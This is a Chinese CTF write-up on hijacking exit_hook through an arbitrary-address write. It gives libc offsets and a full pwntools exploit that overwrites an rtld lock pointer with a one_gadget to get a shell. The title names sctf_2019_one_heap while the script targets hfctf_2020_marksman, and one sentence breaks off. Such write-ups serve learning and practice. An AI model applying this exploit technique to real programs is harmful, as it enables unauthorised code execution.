sctf_2019_one_heap(exit_hook更新)
题目例行检查就不放了
逻辑比较简单,先输入一个地址v6然后输入值到v7,最后将v7的值覆盖到v6上,这不就是任意地址写吗
一下子我就想到了昨天刚学的exit_hook
结果半天都打不通,后来我进行的动态调试,我上一篇文章中放的这个偏移在这道题目上竟然是打不通的
在libc-2.23中
exit_hook = libc_base+0x5f0040+3848
exit_hook = libc_base+0x5f0040+3856
在libc-2.27中
exit_hook = libc_base+0x619060+3840
exit_hook = libc_base+0x619060+3848
实际上经过动态调试后的
__rtld_lock_lock_recursive 和 __rtld_lock_unlock_recursive 的地址是81D060+3840(为什么要覆盖这俩个地方是因为exit中引用了__rtld_lock_lock_recursive 和 __rtld_lock_unlock_recursive ,具体可以看
完整exp如下
from pwn import * p = process('./hfctf_2020_marksman') #p = remote('node4.buuoj.cn',25955) elf = ELF('./hfctf_2020_marksman') libc = ELF('./libc-2.27.so') p.recvuntil('0x') puts_addr = int(p.recvuntil('\n'),16) libc_base = puts_addr - libc.sym['puts'] one_gadget = libc_base + 0x10a387 exit_hook = libc_base + 0x619060+3848 print('libc_base--->'+hex(libc_base)) print('exit_hook--->'+hex(exit_hook)) print(hex(libc_base+0x81df60)) p.recvuntil('shoot!shoot!') #p.sendline(str(exit_hook)) p.sendline(str(libc_base+0x81df60)) gdb.attach(p) for i in range (3): p.sendlineafter('biang!\n',chr(one_gadget & 0xff)) one_gadget = one_gadget >> 8 p.interactive()
这种情况可能是因为这道题目的关系,以后打不通的时候自己多多调试一下